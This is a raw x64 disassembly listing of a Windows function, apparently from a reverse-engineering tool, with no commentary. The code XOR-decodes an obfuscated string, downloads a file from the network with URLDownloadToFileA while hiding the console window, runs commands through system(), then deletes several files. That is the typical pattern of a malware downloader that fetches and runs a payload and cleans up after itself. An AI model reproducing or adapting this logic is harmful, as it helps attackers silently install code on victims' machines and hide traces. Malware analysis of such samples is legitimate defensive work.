mov byte [rbp - 0x6e], al
cmp qword [rbp - 0x30], 0x10
jb 0x1400186c6
mov r10, qword [rbp - 0x48]
mov r8d, ebx
cmp esi, 2
jl 0x14001881b
movdqa xmm5, xmmword [0x14009eab0]
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ead0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140018710
cmp r8d, 0x23
jge 0x140018863
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140018830
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r10
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14009e2ac]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rcx, qword [rbp - 8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, r14d
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x14009e360]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14009e370]
movups xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [0x14009e380]
movsd qword [rbp - 0x70], xmm0
cmp esi, 2
jl 0x140018a83
movdqa xmm5, xmmword [0x14009eab0]
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ead0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x60]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x140018980
jmp 0x140018abe
lea r8, [rsp + 0x70]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, bl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x28
jl 0x140018a90
lea rdx, [rsp + 0x70]
mov rcx, qword [0x1400865c0]
call fcn.140012900
lea rdx, [0x140012ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140018b65
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rcx, qword [rbp - 8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x14009e2ac]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, r14d
call qword [sym.imp.USER32.dll_ShowWindow]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140018ba3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018b9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018b9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
movdqa xmm0, xmmword [0x14009eaa0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140018bf2
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018bed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018bed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
movdqa xmm0, xmmword [0x14009eaa0]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x140018c41
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018c3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
movdqa xmm0, xmmword [0x14009eaa0]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140018c90
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018c8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.1400206a0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
call fcn.140014c00
int3